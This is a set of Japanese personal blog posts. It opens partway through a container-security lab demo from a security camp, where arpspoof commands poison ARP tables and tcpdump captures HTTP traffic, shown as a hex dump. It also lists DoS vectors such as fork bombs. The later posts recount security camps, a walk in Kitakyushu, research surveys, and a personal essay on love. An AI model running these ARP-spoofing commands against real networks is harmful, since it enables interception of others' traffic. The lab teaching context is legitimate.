? (10.128.193.231) at 00:16:3e:6a:55:5d [ether] on lxdbr0
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
? (10.128.193.110) at 00:16:3e:1d:73:72 [ether] on lxdbr0

vagrant@ubuntu-xenial:~$ lxc exec attacker bash

root@attacker:~# ping 10.128.193.231 -c 5
PING 10.128.193.231 (10.128.193.231) 56(84) bytes of data.
64 bytes from 10.128.193.231: icmp_seq=1 ttl=64 time=0.108 ms
64 bytes from 10.128.193.231: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 10.128.193.231: icmp_seq=3 ttl=64 time=0.056 ms
64 bytes from 10.128.193.231: icmp_seq=4 ttl=64 time=0.056 ms
64 bytes from 10.128.193.231: icmp_seq=5 ttl=64 time=0.057 ms

--- 10.128.193.231 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4000ms
rtt min/avg/max/mdev = 0.052/0.065/0.108/0.023 ms

root@attacker:~# arpspoof -t 10.128.193.231 10.128.193.1 &> /dev/null &
root@attacker:~# arpspoof -t 10.128.193.1 10.128.193.231 &> /dev/null &

vagrant@ubuntu-xenial:~$ arp -a
? (10.128.193.231) at 00:16:3e:1d:73:72 [ether] on lxdbr0
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
? (10.128.193.110) at 00:16:3e:1d:73:72 [ether] on lxdbr0

root@attacker:~# tcpdump -i any -vv -w test.pcap

vagrant@ubuntu-xenial:~$ curl 10.128.193.231

root@attacker:~# tcpdump -X tcp port 80 -r test.pcap

0x0000:  4500 0082 63f5 4000 4006 3e98 0a80 c101  E...c.@.@.>.....
        0x0010:  0a80 c1e7 abca 0050 8804 98b2 1abe c6d3  .......P........
        0x0020:  8018 00e5 985d 0000 0101 080a 0010 fb42  .....].........B
        0x0030:  0010 fb42 4745 5420 2f20 4854 5450 2f31  ...BGET./.HTTP/1
        0x0040:  2e31 0d0a 486f 7374 3a20 3130 2e31 3238  .1..Host:.10.128
        0x0050:  2e31 3933 2e32 3331 0d0a 5573 6572 2d41  .193.231..User-A
        0x0060:  6765 6e74 3a20 6375 726c 2f37 2e34 372e  gent:.curl/7.47.
        0x0070:  300d 0a41 6363 6570 743a 202a 2f2a 0d0a  0..Accept:.*/*..
        0x0080:  0d0a

0x0000:  4500 038f 3d92 4000 3f06 62ee 0a80 c1e7  E...=.@.?.b.....
        0x0010:  0a80 c101 0050 abca 1abe c6d3 8804 9900  .....P..........
        0x0020:  8018 00e3 9b6a 0000 0101 080a 0010 fb4b  .....j.........K
        0x0030:  0010 fb42 4854 5450 2f31 2e31 2032 3030  ...BHTTP/1.1.200
        0x0040:  204f 4b0d 0a53 6572 7665 723a 206e 6769  .OK..Server:.ngi
        0x0050:  6e78 2f31 2e31 302e 3320 2855 6275 6e74  nx/1.10.3.(Ubunt
        0x0060:  7529 0d0a 4461 7465 3a20 5475 652c 2031  u)..Date:.Tue,.1
        0x0070:  3320 4e6f 7620 3230 3138 2031 333a 3431  3.Nov.2018.13:41
        0x0080:  3a35 3920 474d 540d 0a43 6f6e 7465 6e74  :59.GMT..Content
        0x0090:  2d54 7970 653a 2074 6578 742f 6874 6d6c  -Type:.text/html
        0x00a0:  0d0a 436f 6e74 656e 742d 4c65 6e67 7468  ..Content-Length
        0x00b0:  3a20 3631 320d 0a4c 6173 742d 4d6f 6469  :.612..Last-Modi
        0x00c0:  6669 6564 3a20 5361 742c 2032 3720 4f63  fied:.Sat,.27.Oc
        0x00d0:  7420 3230 3138 2030 373a 3135 3a32 3220  t.2018.07:15:22.
        0x00e0:  474d 540d 0a43 6f6e 6e65 6374 696f 6e3a  GMT..Connection:
        0x00f0:  206b 6565 702d 616c 6976 650d 0a45 5461  .keep-alive..ETa
        0x0100:  673a 2022 3562 6434 3130 3861 2d32 3634  g:."5bd4108a-264
        0x0110:  220d 0a41 6363 6570 742d 5261 6e67 6573  "..Accept-Ranges
        0x0120:  3a20 6279 7465 730d 0a0d 0a3c 2144 4f43  :.bytes....<!DOC
        0x0130:  5459 5045 2068 746d 6c3e 0a3c 6874 6d6c  TYPE.html>.<html
        0x0140:  3e0a 3c68 6561 643e 0a3c 7469 746c 653e  >.<head>.<title>
        0x0150:  5765 6c63 6f6d 6520 746f 206e 6769 6e78  Welcome.to.nginx
        0x0160:  213c 2f74 6974 6c65 3e0a 3c73 7479 6c65  !</title>.<style
        0x0170:  3e0a 2020 2020 626f 6479 207b 0a20 2020  >.....body.{....
        0x0180:  2020 2020 2077 6964 7468 3a20 3335 656d  .....width:.35em
        0x0190:  3b0a 2020 2020 2020 2020 6d61 7267 696e  ;.........margin
        0x01a0:  3a20 3020 6175 746f 3b0a 2020 2020 2020  :.0.auto;.......
        0x01b0:  2020 666f 6e74 2d66 616d 696c 793a 2054  ..font-family:.T
        0x01c0:  6168 6f6d 612c 2056 6572 6461 6e61 2c20  ahoma,.Verdana,.
        0x01d0:  4172 6961 6c2c 2073 616e 732d 7365 7269  Arial,.sans-seri
        0x01e0:  663b 0a20 2020 207d 0a3c 2f73 7479 6c65  f;.....}.</style
        0x01f0:  3e0a 3c2f 6865 6164 3e0a 3c62 6f64 793e  >.</head>.<body>
        0x0200:  0a3c 6831 3e57 656c 636f 6d65 2074 6f20  .<h1>Welcome.to.
        0x0210:  6e67 696e 7821 3c2f 6831 3e0a 3c70 3e49  nginx!</h1>.<p>I
        0x0220:  6620 796f 7520 7365 6520 7468 6973 2070  f.you.see.this.p
        0x0230:  6167 652c 2074 6865 206e 6769 6e78 2077  age,.the.nginx.w
        0x0240:  6562 2073 6572 7665 7220 6973 2073 7563  eb.server.is.suc
        0x0250:  6365 7373 6675 6c6c 7920 696e 7374 616c  cessfully.instal
        0x0260:  6c65 6420 616e 640a 776f 726b 696e 672e  led.and.working.
        0x0270:  2046 7572 7468 6572 2063 6f6e 6669 6775  .Further.configu
        0x0280:  7261 7469 6f6e 2069 7320 7265 7175 6972  ration.is.requir
        0x0290:  6564 2e3c 2f70 3e0a 0a3c 703e 466f 7220  ed.</p>..<p>For.
        0x02a0:  6f6e 6c69 6e65 2064 6f63 756d 656e 7461  online.documenta
        0x02b0:  7469 6f6e 2061 6e64 2073 7570 706f 7274  tion.and.support
        0x02c0:  2070 6c65 6173 6520 7265 6665 7220 746f  .please.refer.to
        0x02d0:  0a3c 6120 6872 6566 3d22 6874 7470 3a2f  .<a.href="http:/
        0x02e0:  2f6e 6769 6e78 2e6f 7267 2f22 3e6e 6769  /nginx.org/">ngi
        0x02f0:  6e78 2e6f 7267 3c2f 613e 2e3c 6272 2f3e  nx.org</a>.<br/>
        0x0300:  0a43 6f6d 6d65 7263 6961 6c20 7375 7070  .Commercial.supp
        0x0310:  6f72 7420 6973 2061 7661 696c 6162 6c65  ort.is.available
        0x0320:  2061 740a 3c61 2068 7265 663d 2268 7474  .at.<a.href="htt
        0x0330:  703a 2f2f 6e67 696e 782e 636f 6d2f 223e  p://nginx.com/">
        0x0340:  6e67 696e 782e 636f 6d3c 2f61 3e2e 3c2f  nginx.com</a>.</
        0x0350:  703e 0a0a 3c70 3e3c 656d 3e54 6861 6e6b  p>..<p><em>Thank
        0x0360:  2079 6f75 2066 6f72 2075 7369 6e67 206e  .you.for.using.n
        0x0370:  6769 6e78 2e3c 2f65 6d3e 3c2f 703e 0a3c  ginx.</em></p>.<
        0x0380:  2f62 6f64 793e 0a3c 2f68 746d 6c3e 0a    /body>.</html>.

ARP Tableが汚染されていることを確認しました.
そして取得したパケットを見てみました.

その他のAttack Surface

  • dmesgのバッファリング呼び出しと消去
  • negatice dentryの大量生成
  • File Descriptorを大量生成
  • fork bomb
  • ディスク容量

この記事は基本的にはseccampで使用したスライドをもとに
コマンドを実行しつつ,どのような結果を得られるかを共有したいために書きました.
実際に動かしてみるとかなり面白いので,興味がある方はやってみてください.

果たして自作コンテナは教養になりうるでしょうか?

seccamp愛媛でチューターをした話

11/10にセキュリティミニキャンプ愛媛がありました.
そこで私はチューターとして参加できることになったので,
参加した感想をTweetを遡りながら見ていこうと思います.

0日目

まず,四国に入国された方々をある程度補足しました.


そして,自らの位置情報を開示.


集合場所にいることをTwitterでアピール.


再度アピール.


となりに一緒にチューターを行ったVT-b (@PiBVT) | Twitterさんがいたのですが,暗くて全く誰が誰だかわかりませんでした.
コミュ障を極めているので,なかなか話しかけられず,
苦労しました.


翌日のための設営をしました.


協議会や講師,県警,チューターなどでご飯に行きました.
やはり🍣です.


食べ終わり,解散したので,自宅へ帰る.
ここ最近の悩みである予定があると緊張して寝れない病に対策しようとする.


しかし,寝れてない.


1日目

なんとか起きれたみたいです.


いつもの.
割と早く着きました.


コンテナのセキュリティを知ろう

speakerdeck.com

コンテナのメモリを制限して,OOM Killerに殺されたapt update
やはりメモリはコンテナにとっても人権だったようだ


hacorbコマンドで自作コンテナを作る話

だいぶ前にchiku_wait(2) (@chiku_wait) | Twitterさんがブログに書いてました.

chikuwait.hatenablog.com

secomp bypassやARP Spoofingなどの手法が紹介されたときのTweetっぽいですね.


このときチューターやってることをTweetし忘れたことに気づきTweet


自作LANケーブルで通信をモニタリングしよう


自作LANケーブルを作成しているところ


参加者で議論しました


やばいチーム名だった


今回の盗聴レベルはマスターらしく,みんな盗聴マスターってTweetしてしまう.


この後訂正がなされる


いいまとめ


集合写真です


クロージング後にバイナリかるたを頂く.


弊学から参加した友人3人で打ち上げに行く.


日本酒を飲みに行く


無職申請を行う


無職申請を受理される


TLを見ているとkernel/VMの面白そうなスライドがたくさん.



や,無職を夢見てたことですし,夢が叶ったので,
今の私が本当にやりたいことに100%の力を注ぐことが出来ます!
とりあえずミニキャンプ愛媛で行ったコンテナの
技術的な部分は別記事にしようかなと思います.

元100万人都市北九州へ

だいぶ前にはなりますが、実家へ帰省した際に
福岡県は北九州市へお散歩に行きました。
北九州市というと怖い方が沢山いらっしゃる所や、
榴弾などが転がっている場所だという認識をお持ちの方が
少しはいるのではないでしょうか。

今回はそういう要素は全くなく、
元100万人都市の北九州市の散歩の写真を載せたいと思います。




































セキュリティ・キャンプ2018に参加してきた話

セキュリティキャンプを知らない方へ

セキュリティ・キャンプとはIPAが主催するセキュリティをベースとした
講義を合宿形式で4泊5日で行うものです.

www.ipa.go.jp

事の始まり…

とりあえず研究室のドアにポスター貼ってたから応募したら,
通ってしまったところから始まります.


キャンプが始まるまで…

院試などやゼミなどの対応をしているといつの間にか
8月13日が目の前に来ていました.
学生LT大会 at LINE福岡オフィスに参加したり


一応,院試には合格しました.


FPGA買ったらクレカの支払い合計20万きたりしました




キャンプ0日目

私は前泊だったので普通の参加者より1日多いキャンプでした.
とりあえず愛媛より移動です.
当日に荷物をまとめてました…


松山空港



事前学習の本を読んでた



羽田空港に着き,いざゆかん秋葉原





秋葉原を脱出し,府中へ向かっていると雨が…



キャンプ1日目

とりあえず起床



セキュリティ・キャンプ?なにそれ怪しいっていう両親がいらっしゃる方へ


確か昼食で@uint256_tさんと一緒になって名刺を交換して,自作ブラウザや自作JSエンジンの話を聞いた(訳:セキュリティ・キャンプの洗礼を受ける
学生LT大会とグループワーク中の私
kamueeについて@slankdevさんのLTを見てた(その裏でFPGAベンチャー頑張ってる話も聞いてた



LT大会の一つでwiiはスタイリッシュデスクトップ計算機と気付かされた


他のLTだと,おのかちおさんのブロックチェーン技術に関する話やりねあさんの高速VPNの話を聞いてた
私は選択Dトラックでmrubyの話を聞けなかった


セキュリティ・キャンプ中にruiさんとhikaliumさんが会話しているところを目撃して,#tcfmかなと思ってしまった


普段あまり人と話さないのでとても疲れました…


翌日からの専門講義の内容で死んでる


プロデューサーの方から聞きました


セキュリティ・キャンプ→チューター→未踏といった流れの講師の方(本当にわかる Spectre と Meltdown:川田さん)とも話が出来た.
ということで来年のセキュリティ・キャンプに愛媛大学から1人送り込めるように頑張ります.
何人か目星がついている


キャンプ2日目

キャンプ実質1日目,専門講義の始まり
推奨起床時刻が6:30ぐらいだった


会場のWiFiでspeedtest


トラック内でLT大会が行われることに…


intel SGXで脆弱性が発見される

実際に見つかった脆弱性について(Foreshadow)
Foreshadow: Breaking the Virtual Memory Abstraction with Transient Out-of-Order Execution
www.itmedia.co.jp

D3チップレベルでカスタマイズができることで見える世界の体験での講義内でMakeLSIが紹介される




キャンプ3日目

この日からはA~Eのコースの専門講義を選択できる
朝食頃のわたしの頭の中(TLのように会話が流れている…


たしかどこかでhikaliumステッカーを見た(後日無事@hikaliumさんにいただきに行けました



C4車載LANの仕組みとメッセージの取得・解析を受けました.

CANを流れる情報をいじいじしました.
講義中に流れた動画でレヴォーグ1.6Lが出演


昼食でNERVの中の人(ゲヒルンの@isidaiさん


D5JTAG(ジェイタグ)の原理と活用を受ける.

FPGAやってるから余裕だろうと思っていたが,とても苦労した.
ちなみにはんだで直さないとどちらかのFPGAは使えないっぽい?


会社説明会でLINEの話を聞いた

E2EEなどの話が聞けたのだが,時間が短かった.

グループワークではたくさんの人に話を聞いた

坂井さんと話して,研究所系のインターンに行ってみるというアドバイスを頂いた.
Dトラックホームルーム時間中にLT発表をした
実は後ろで未踏PMの竹迫さんが聞いてて驚いた.そのあと名刺を交換できました.
そのあと未踏で採択されるには?といった話を直接PMと出来たので,これは将来のためになったと思う.


LT大会で聞いたkamueeについて気になるってツイートすると@slankdevさんから説明いただけるとのリプが来た.(これぞキャンプの醍醐味



これが噂のセキュリティに強くなれる水です


Cコンパイラを自作している頃にEmacs Lisp JIT Compilerがメーリングリストで話題に


キャンプ4日目

C6パターン認識とセキュリティではある識別機をどうやって騙すかといった事を行った

NNの向き,不向きについて考えさせられました.認識として固いのはif/else
チューターのりねあさんが100%の画像の生成に成功してて,やはりチューターはすごいってなってた

E7シリアル通信から学ぶBadUSB自作演習を受ける

竹迫さんによるBadUSB自作演習.みんな結構悪意のあるUSBを作成していた.Windowsを強制シャットダウンに導き,Windows Updateを誘発する凶悪?なUSBが生まれていた.
最後の夕食ということもあり,かなり豪華


会社紹介でさくらインターネットとゲヒルンについて聞く

さくらインターネットでどういうことをしているか聞けた.今回は火消しなど何でもやってる人の話で面白かった.
ヒルンの@isidaiさんの話はゲヒルン設立から今までやってきた事を話してもらえた.とても面白かった.これも時間が短かった.

グループワークで考え中


グループワークでNICTの佐藤さんにPhDの相談をする
そしてキャンプからのプレゼントへ



ホームルーム終了後,急いで@slankdevさんの(治安が悪い?)Zトラックへ
kamueeの基本原理と現状のハードウェアアーキテクチャFPGAを利用するならどういう場所に適用するかなどを解説してもらえた!


解散後,偶然@hikaliumさんに会い,ステッカーをいただく


※hikaliumステッカーですが,イベント時,事前に連絡いただければ渡せます

グループワーク時にひばりさんに@slankdevさんと@hikaliumさんと話してみたいと相談していた(これはひばりさんにかなり失礼.
ちなみにwiiの話も聞けたので,楽しかった.
ひばりさん,本当にありがとうございました!


就寝前に

Zトラックの教室で@slankdevさんから解説を受けているときに,名刺もらっていて,名刺を返せていなかったのでリプしたら少しお話することになった.
するとその方は@slankdevさんの後輩で,DPDKを研究されていて,サイボウズ・ラボユースの方で非常に強い方だった.

講義全体を通して

Dトラックの方へ


キャンプ最終日

すべての日程で起床チャレンジに成功した


ホテルのホールでの大きなお風呂


SeckHack365について考えていた


エディタ戦争中


スポンサー'様'を告知


成果発表でDトラック受講生として,講義の感想を語る(私はE7と締めの言葉をした
自作ブラウザ上で成果発表をした@uint256_tさんやday0セルフホストしたあんこうさんなどの発表を午前中に聞いた.
キャンプの修了書をいただく


成果発表時の宣言通りに


羽田空港に着く
その前に新宿へ行ったのだが,行くところも思いつかず,新宿御苑
緑を見に行ったつもりが,人ばかり見ていた(人疲れした


月見とろろそば


さて現実へ



事後アンケートの最後に1200文字以上の感想文があり,一度リセットされた



キャンプ全体を通して

たくさんの方(参加者,チューター,講師,企業)と会えて,話せて,とても良いネットワークが構成出来たと思う.
おそらくこの瞬間だけはTwitterを超えたネットワークだったと思う.
会社説明会に行くよりも充実した会社説明会だったのではないか(まだ就職しません)?
色んな分野に精通している方々が居て,自分の技術の分野の狭さや浅さにも気が付かされました.
毎日朝から晩まで技術の話が出来たこの環境は最高だった…


さて,これからの予定

まずは8/24~8/26に大阪へ行く


EnPitのために,名古屋へ

@unit256_tさんとまた会えると嬉しい




この記事が来年以降のセキュリティ・キャンプ参加者の応募のきっかけなどになれば幸いです.

MRLDのITCCSCC2018採択論文を読んだ

paperはgithub

github.com

MRLD頑張っていきますので,皆さま楽しみにしててください!!!

ここ最近やってたこと

どうもご無沙汰しております.
最近までは大学のゼミに出席したり,論文サーベイなどしてましたね.

プライベート的なことで言うと,人生初の合コンなるものに参加しました.
結果としては誰1人とも連絡先を交換できずに終わったので,これを失敗と言うのでしょう.

あとセキュリティキャンプ2018に参加するので,晒せるような応募用紙はありませんが,
体験日記は書こうと思います.

さてさて,メインに行なっていた論文サーベイのまとめスライドを3本作ったのでここで公開しようと思います.

FPGA上に推論用CNNアクセラレータを実装する話

GoogleによるTPU実装

Memory Based Reconfigurable Logic Device(MRLD)について

あとは大学の研究室課題として挙げられていた論理&故障シミュレータの実装したときのスライドも置いておきます.
研究室的には4~7月末までで実装するらしいのですが,約9時間で実装できてしまったので,これに関しては非常に虚無.
スライド発表を教授の前で行った後に夏休みらしいので,早く発表して夏休みに入りたいなあというお気持ちです(発表は8月予定)

まあ他にもいろいろしていたのですが,まだ成果には結びつけていないので,
成果が出次第発表します(早く進捗を出せ)

で,教授の前で論文サーベイの発表をしていたら,唐突に卒論が決まってしまいました.
テーマはFPGA上に推論用CNNアクセラレータを実装するって話なのですが,
このままだとサーベイと同じになってしまうので,一応新規性のある部分を追加しています.
ただ弊大学はRaspberry PiにTensorFlowをインストールして,
動作させるだけで卒論として認めてしまう大学なので,レベルの差が激しいのだなあと思いました.

そして7月6日には院試がありました.
推薦入試だったのでほぼ合格だと思います.
結果は18日に出ます,楽しみ.
ちなみに6日はとても強い雨の日でした.

tenki.jp

で,最後になりますが7月13日には福岡に帰省するので,
九州学生エンジニアLT大会 at LINE Fukuokaに参加します.
student-kyushu.connpass.com

それではまた次の機会に

いつかは本当の恋愛がしたい

アニメを見ていた.ダーリン・イン・ザ・フランキス
その中でイチゴちゃんがヒロに告白するシーンがあった.
どんなアニメだって告白シーンはあるのに,
イチゴちゃんの告白には力があったように感じる.

私は誰かの恋愛を見るのが好きらしい.
それは2次元でも3次元でも構わない.
恋愛漫画やアニメを見たりするし,
街に出て,誰かがしている恋愛を見て妄想していたりもする.
さらに性別も問わない.
だから男性同士や女性同士でも構わない.

しかし私は自分の恋愛は経験がない.
21年間生きてきているけれども,1度も恋人ができたことがない.
告白をしたことが無いわけではない.
ただ,本当の恋愛というものが分からないのだ.

少し昔の話をしよう.
僕が中学生になった頃,まわりは思春期ということもあって,
付き合い始める人達が増えた.
中学生の頃の私は部活に入るわけでも無く,熱心に勉強するわけでもなく,
なんとなくアニメを見て,ゲームして,
インターネットの世界で暇を潰しているオタク中学生だった.
オタクにも思春期は平等にやってくるし,
アニメで見たような恋愛をしてみたいと思っていた.
確か涼宮ハルヒの憂鬱だった.

その中で私も恋人が欲しいと思ったことがあった.
’恋人が欲しい’というだけで,恋人としたいことが明確にあるわけでもなかった.
これは今でも続いている.
何のために恋人が欲しいのか,今でもわからない.
でも出来たら何かが分かるような気もしている.
きっとそう信じている.

恋人が欲しいと思った自分はメールで告白をした.
涼宮ハルヒを見ていたのに,メールで告白をしてしまったのだ.
恋人が欲しいという感情に任せて告白をしたが,
本当に相手を好きだったかどうかは怪しい.
おそらく価値観は違うだろうと容易に想像できる相手だったし,
相手が私に全く興味が無いこともわかっていた.
とりあえず恋人が欲しかったのだと思う.
これが中学1年の夏ぐらいの話.

2年生になると,ある程度のグループも形成され,
いつも決まったメンバーとしか話さないようになっていた.
オタクのネットワークはいつもインターネットに形成されていた.
ただ少ないオタク友達は非常に大事にした.
いつものグループには2~3人の女の子が居た.
私はその中の1人のことが好きになった.
気を使うこと無く,話すことが出来た.
インターネットで会話するように彼女とは話すことが出来た.
私にはとてもそれが幸せだった.
彼女のことが好きだった私は告白したいと思っていたが,
この関係性が崩れてしまうのでは無いかと思い,
卒業するまで告白することはなかった.

そして高校生になると,
進学校に進んだ私は中学生の頃の同級生とはほぼ別れた.
ただ方向が一緒の電車ではあったので,たまに会う瞬間が嬉しかった.
新たな出会いを期待した高校生だったが,クラスは3年間同じで,
ほぼ男子クラスのような状態だった.
オタクのコミュニケーション能力はほぼ0に等しく,
他のクラスにお邪魔するなんてことは不可能だった.
部活にも参加したが,気の合うような相手は居なかった.
クラスの中で唯一気軽に話せる女子が居たが,
相手には好印象は持たれて居なかっただろう.イキっていたからね.
結果,高校生は勉強して,部活して卒業しただけだった.

気がつくと大学生になっていた.
総合大学ということもあって,教養科目では沢山の女性が居た.
残念ながら学科は情報工学科だったので,期待はできなかった.
しかしアルバイト先で小学生の頃の同級生と再会するという機会もあった.
転校の多かった私からするとかなり珍しい.
20歳になった私はそろそろ恋人が居ないのは不味いと思い,
恋人を作ろうと思い始めた.
失敗から何も学ばない私は,1度ご飯に行っただけの相手にLINEで
告白をしたのである.
面と向かって言える機会は合ったのに,どうしてか画面越しに告白をした.
もちろん失敗するのは見えている.
そもそも1度ご飯に行っただけで,告白するのもどうかしていると
今になって思う.

そして冒頭に話は戻る.
ダーリン・イン・ザ・フランキスを見た私は自分の恋愛について考えた.
雨の降る夜の街を歩きながら,考えていた.

そして気づいたのだ.

いつも私は恋人が欲しいという感情に従い,告白してきた.
相手のことが好きだったかどうかも怪しい.
むしろ恋人になるかもしれない人だから,好きでないといけないと思い,
好きになろうとしていたようにも思う.
ただ中学2年生のときに好きになったあの子だけは本当に好きだったのだと思う.
だったというより今も好きであるのだが.
成人式で会えたのだが,その時は勇気がなくて告白することが出来なかった.

だから次に会えたときには面と向かって告白したいと思う.
失敗を怖いと思う告白は初めてだし,これが本当の恋愛なのかなとも思う.
とにかく,次に会えたら「君が好きだ」と伝えたい.

そしていつかは本当の恋愛がしたい.